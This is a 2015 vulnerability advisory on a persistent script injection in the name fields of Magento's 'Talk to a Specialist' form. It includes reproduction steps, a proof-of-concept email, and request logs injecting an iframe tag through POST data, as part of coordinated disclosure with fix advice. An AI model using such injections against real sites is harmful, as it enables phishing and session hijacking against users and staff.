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Ebay Inc Magento Bug Bounty #5 - Persistent Validation & Mail Encoding Web Vulnerability



Document Title:
===============
Ebay Inc Magento Bug Bounty #5 - Persistent Validation & Mail Encoding Web Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1226

eBay Inc. Bug Bounty Program ID: EIBBP-27288

Vulnerability Magazine: http://magazine.vulnerability-db.com/?q=articles/2015/02/14/ebay-inc-magento-2015q1-official-bug-bounty-program-rewards-security-researcher


Release Date:
=============
2015-02-14


Vulnerability Laboratory ID (VL-ID):
====================================
1226


Common Vulnerability Scoring System:
====================================
3.8


Product & Service Introduction:
===============================
Magento is an open source e-commerce web application that was launched on March 31, 2008 under the name Bento. It was developed 
by Varien (now Magento, a division of eBay) with help from the programmers within the open source community but is now owned 
solely by eBay Inc. Magento was built using parts of the Zend Framework. It uses the entity-attribute-value (EAV) database model 
to store data. In November 2013, W3Techs estimated that Magento was used by 0.9% of all websites.

Our team of security professionals works hard to keep Magento customer information secure. What`s equally important to protecting 
this data? Our security researchers and user community. If you find a site that isn`t following our policies, or a vulnerability 
inside our system, please tell us right away.

( Copy of the Vendor Homepage: http://magento.com/security  &  http://magento.com/security )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered an application-side input validation and mail encoding web vulnerability in the official eBay Magento and Magento info web-application.


Vulnerability Disclosure Timeline:
==================================
2014-03-14: Researcher Notification & Coordination (Benjamin Kunz Mejri - Evolution Security GmbH)
2014-03-15: Vendor Notification (eBay Inc Security Team - Bug Bounty Program)
2014-03-10: Vendor Response/Feedback (eBay Inc Security Team - Bug Bounty Program)
2015-02-12: Vendor Fix/Patch (Magento Developer Team)
2015-02-13: Bug Bounty Reward (eBay Inc Security Team - Bug Bounty Program)
2015-02-14: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Ebay Inc.
Product: Magento - Web Application Service 2014 Q1


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
An application-side mail encoding web vulnerability has been discovered in the official eBay Magento & Info Web-Application.
The vulnerability allows remote attackers to bypass the outgoing mail filter validation of the magento web-server & web-application.

The vulnerability is located in the first- and lastname values of the `Talk to a Specialist` module. Remote attackers without privileged application 
user account are able to inject persistent malicious script codes. The script code execution occurs in the notification mail to the specialist but 
also to the active user copy mail. The persistent injected script code executes in the header section were the database context of the first- and 
lastname will be displayed. The sender interacts automatically by usage of the magento.com & info.magento.com service. The validation of the db 
stored outgoing values is wrong encoded and allows persistent injections of malicious script codes via POST method. The attack vector is persistent 
and the injection request method is POST. 

The security risk of the mail encoding web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.8.
Exploitation of the web vulnerability requires no privileged web-application user account and low or medium user interaction because of the
persistent attack vector. Successful exploitation of the encoding vulnerability results in session hijacking, persistent phishing, persistent 
external redirects and persistent manipulation of web header or mail body context.

Vulnerable Domain(s):
				[+] magento.com & info.magento.com

Vulnerable Module(s):
				[+] Talk to a Specialist

Vulnerable Parameter(s):
				[+] firstname
				[+] lastname
				[+] companyname

Affected Sender(s):
				[+]  info@xxxxxxxxxxx

Affected Receiver(s):
				[+] bkm@xxxxxxxxxxxxxxxxx


Affected Context Module(s):
				[+] Section 1  > mktEditable


Proof of Concept (PoC):
=======================
The application-side input validation web vulnerability can be exploited by remote attackers without privileged user account and with low or medium user interaction.
For security demonstration or to reproduce the mail encoding web vulnerability follow the provided information and steps below to continue.


Manual steps to reproduce of the vulnerability ...
1. You do not need to register an account ;)
2. Open up the main website and switch to the magento.com contacts site
3. On the bottom you need to click the `talk to specialist` button
4. You get redirect to a regular valid formular with a mod specialist notification
5. Inject your script code payloads as first-, last- and companyname values
6. Click the send request button ...
Note: Now, you will be redirected by the service after choosing a specialist ... we used `E.C. Kraus` (#sry ;)
7. Send the same request from the input below to the specialist with a non malicious test payload
8. The persistent code execution occurs in the mail to the manager aka specialist but also to the sender of the notification itself (without user auth!)
9. Successful reproduce of the persistent script code injection web vulnerability via POST method request


PoC: Your E.C. Kraus Magento Enterprise Case Study Download

<html><head>
<title>Your E.C. Kraus Magento Enterprise Case Study Download</title>
<link rel="important stylesheet" href="chrome://messagebody/skin/messageBody.css">
</head>
<body>
<table class="header-part1" border="0" cellpadding="0" cellspacing="0" width="100%">
<tbody><tr><td><b>Betreff: </b>Your E.C. Kraus Magento Enterprise Case Study Download</td></tr><tr><td>
<b>Von: </b>Magento <info@xxxxxxxxxxx></td></tr><tr><td><b>Datum: </b>15.03.2014 20:27</td></tr></tbody></table>
<table class="header-part2" border="0" cellpadding="0" cellspacing="0" width="100%"><tbody><tr><td><b>An: </b>bkm@xxxxxxxxxxxxxxxxx</td></tr></tbody></table><br>
<meta http-equiv="Content-Type" content="text/html; ">
<title></title>
<div id="Section 1" class="mktEditable"><p>Dear a "><[PERSISTENT INJECTED SCRIPT CODE 1!]">%20<[PERSISTENT INJECTED SCRIPT CODE 2!]>,</p>
<p>Thank you for requesting the Magento Enterprise Case Study on E.C. Kraus.  You can download the Case Study here:</p>
<p><a href=
"http://email.magento.com/397EXO8770000EP01aGC801";
>Download</a></p>
<p>Check out our complete list of <a href=
"http://email.magento.com/397EXO8770000EQ01aGC801";
>Magento Case Studies</a></p>
<p>To learn more about Magento Enterprise or to reqeust a personalized quote, please <a href=
"http://email.magento.com/397EXO8770000ER01aGC801";
>contact out Magento Enterprise team</a>.</p>
<p>Thank you,</p>
<p>The Magento Team</p></div>
<IMG SRC="http://email.magento.com/trk?t=1&mid=Mzk3LUVYTy04Nzc6MDozMzkyOjExMzI1OjA6MzMxNzo3OjE3MzIzNDI4LTE6bnVsbA%3D%3D"; WIDTH="1" HEIGHT="1" BORDER="0" ALT="" />
</body>
</html>
</body>
</html>
</iframe></p></div></body></html>


--- PoC Session Logs [POST] ---
21:15:18.356[654ms][total 2913ms] 
Status: 200[OK]
GET http://magento.com/explore/contact-sales 
Load Flags[LOAD_DOCUMENT_URI  LOAD_INITIAL_DOCUMENT_URI  ] Größe des Inhalts[-1] Mime Type[text/html]
   Request Header:
      Host[magento.com]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de-de,de;q=0.8,en-us;q=0.5,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[http://magento.com/customers/customer-showcase]
      Cookie[optimizelySegments=%7B%22239237138%22%3A%22direct%22%2C%22237962548%22%3A%22ff%22%2C%22238367687%22%3A%22false%22%7D; optimizelyEndUserId=oeu1394911379094r0.20693940633527685; optimizelyBuckets=%7B%7D; _ga=GA1.2.394130418.1394911379; has_js=1; ClrSSID=1394911380598-4406; ClrOSSID=1394911380598-4406; ClrSCD=1394911380598; s_cc=true; s_fid=5EF56BF224B1A40C-0256902EC3CD13C6; gpv_pn=%2Fcustomers%2Fcustomer-showcase; undefined_s=First%20Visit; s_vnum=1396303200710%26vn%3D1; s_invisit=true; s_sq=magentomagento%2Cmagentoglobal%3D%2526pid%253D%25252Fcustomers%25252Fcustomer-showcase%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fmagento.com%25252Fexplore%25252Fcontact-sales_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1; s_ppv=-%2C84%2C84%2C2200; utm_src=a%3A6%3A%7Bs%3A8%3A%22campaign%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22medium%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22source%22%3Bs%3A11%3A%22magento.com%22%3Bs%3A7%3A%22keyword%22%3Bs%3A0%3A%22%22%3Bs%3A3%3A%22url%22%3Bs%3A11%3A%22magento.com%22%3Bs%3A4%3A%22time%22%3Bi%3A1394911525%3B%7D; _mkto_trk=id:397-EXO-877&token:_mch-magento.com-1394911532816-55587; _tsm=m%3DDirect%2520%252F%2520Brand%2520Aware%253A%2520Typed%2520%252F%2520Bookmarked%2520%252F%2520etc%7Cs%3Dmagento.com%7Crp%3D%252Fwww.magentocommerce.com%252Fdownload%7Crd%3Dmagento.com]
      Connection[keep-alive]
      If-None-Match["1394841413-1"]
   Response Header:
      Server[maged]
      Date[Sat, 15 Mar 2014 20:15:18 GMT]
      Content-Type[text/html; charset=utf-8]
      Transfer-Encoding[chunked]
      Connection[keep-alive]
      X-Drupal-Cache[HIT]
      Etag["1394841413-1"]
      x-content-type-options[nosniff]
      X-Frame-Options[SameOrigin]
      Content-Language[en]
      Link[<http://magento.com/explore/contact-sales>; rel="canonical",<http://magento.com/node/22>; rel="shortlink"]
      Cache-Control[public, max-age=86400]
      Last-Modified[Fri, 14 Mar 2014 23:56:53 +0000]
      Expires[Sun, 19 Nov 1978 05:00:00 GMT]
      Vary[Cookie, Accept-Encoding]
      Content-Encoding[gzip]
      X-Server[web04]
-
21:15:34.123[335ms][total 335ms] 
Status: 302[Found]
POST https://info.magento.com/index.php/leadCapture/save 
Load Flags[LOAD_DOCUMENT_URI  LOAD_INITIAL_DOCUMENT_URI  ] Größe des Inhalts[135] Mime Type[text/html]
   Request Header:
      Host[info.magento.com]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de-de,de;q=0.8,en-us;q=0.5,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[https://info.magento.com/EC-Kraus.html]
      Cookie[optimizelySegments=%7B%22239237138%22%3A%22direct%22%2C%22237962548%22%3A%22ff%22%2C%22238367687%22%3A%22false%22%7D; optimizelyEndUserId=oeu1394911379094r0.20693940633527685; optimizelyBuckets=%7B%7D; _ga=GA1.2.394130418.1394911379; BIGipServerabjweb-ssl2_http=3892838666.20480.0000; s_cc=true; s_fid=5EF56BF224B1A40C-0256902EC3CD13C6; gpv_pn=%2Fec-kraus.html; undefined_s=First%20Visit; s_vnum=1396303200710%26vn%3D1; s_invisit=true; s_sq=magentoinfo%2Cmagentoglobal%3D%2526pid%253D%25252Fec-kraus.html%2526pidt%253D1%2526oid%253Dfunctiononclick%252528event%252529%25257BformSubmit%252528document.getElementById%252528%252522mktForm_1129%252522%252529%252529%25253Breturnfalse%25253B%25257D%2526oidt%253D2%2526ot%253DSUBMIT; s_ppv=-%2C100%2C100%2C832; utm_src=a%3A6%3A%7Bs%3A8%3A%22campaign%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22medium%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22source%22%3Bs%3A11%3A%22magento.com%22%3Bs%3A7%3A%22keyword%22%3Bs%3A0%3A%22%22%3Bs%3A3%3A%22url%22%3Bs%3A11%3A%22magento.com%22%3Bs%3A4%3A%22time%22%3Bi%3A1394911525%3B%7D; BIGipServerabjweb-ssl2_https=3909615882.47873.0000; ClrSSID=1394911532386-9188; ClrOSSID=1394911532386-9188; ClrSCD=1394911532386; _mkto_trk=id:397-EXO-877&token:_mch-magento.com-1394911532816-55587; _tsm=m%3DDirect%2520%252F%2520Brand%2520Aware%253A%2520Typed%2520%252F%2520Bookmarked%2520%252F%2520etc%7Cs%3Dmagento.com%7Crp%3D%252Fwww.magentocommerce.com%252Fdownload%7Crd%3Dmagento.com; optimizelyPendingLogEvents=%5B%5D; ClrCSTO=T]
      Connection[keep-alive]
   POST-Daten:
      FirstName[%3Ciframe+src%3Da%3E]
      LastName[%3Ciframe+src%3Da%3E]
      Email[bkm%40evolution-sec.com]
      _marketo_comments[]
      lpId[2314]
      subId[36]
      munchkinId[397-EXO-877]
      kw[not+found]
      cr[not+found]
      searchstr[not+found]
      lpurl[https%3A%2F%2Finfo.magento.com%2FEC-Kraus.html%3Fcr%3D%7Bcreative%7D%26kw%3D%7Bkeyword%7D]
      formid[1129]
      returnURL[https%3A%2F%2Finfo.magento.com%2FEC-Kraus-confirm.html]
      retURL[https%3A%2F%2Finfo.magento.com%2FEC-Kraus-confirm.html]
      returnLPId[2301]
      _mkt_disp[return]
      _mkt_trk[id%3A397-EXO-877%26token%3A_mch-magento.com-1394911532816-55587]
      _comments_marketo[]
      _mkto_version[2.4.7]
   Response Header:
      Date[Sat, 15 Mar 2014 20:15:34 GMT]
      Server[Apache]
      Location[https://info.magento.com/EC-Kraus-confirm.html?aliId=67114725]
      Vary[Accept-Encoding]
      Content-Encoding[gzip]
      Content-Length[135]
      Connection[close]
      Content-Type[text/html]


Reference(s):
http://magento.com/customers/customer-showcase
http://magento.com/explore/contact-sales
https://info.magento.com/EC-Kraus-confirm.html?aliId=67114607
https://info.magento.com/EC-Kraus.html
https://info.magento.com/index.php/leadCapture/save


Resource(s): 
				../Contact Sales _ Magento-inputstep1.htm
				../Contact Sales _ Magento-inputstep2.htm
				../EC-Kraus-confirm.html
				../EC-Kraus-poc2.html
				../Your E.C. Kraus Magento Enterprise Case Study Download.html
				../Your E.C. Kraus Magento Enterprise Case Study Download.eml
				../poc-session-logs.txt
				../poc-url-references.txt


Picture(s): (view magazine article)
				../1.png
				../2.png
				../3.png
				../4.png
				../5.png
				../6.png
				../7.png


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse or encode of the `talk to a specialist` input context.
Encode and parse also the outgoing user values of the talk to a specialist form to prevent persistent injections via POST to outgoing service ebay magento mails.
Restrict the input and disallow the usage of special chars.


Security Risk:
==============
The security risk of the persistent input validation and mail encoding web vulnerability is estimated as medium. (CVSS 3.8)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@xxxxxxxxxxxxxxxxx) [www.vulnerability-lab.com]


Disclaimer & Information:
=========================
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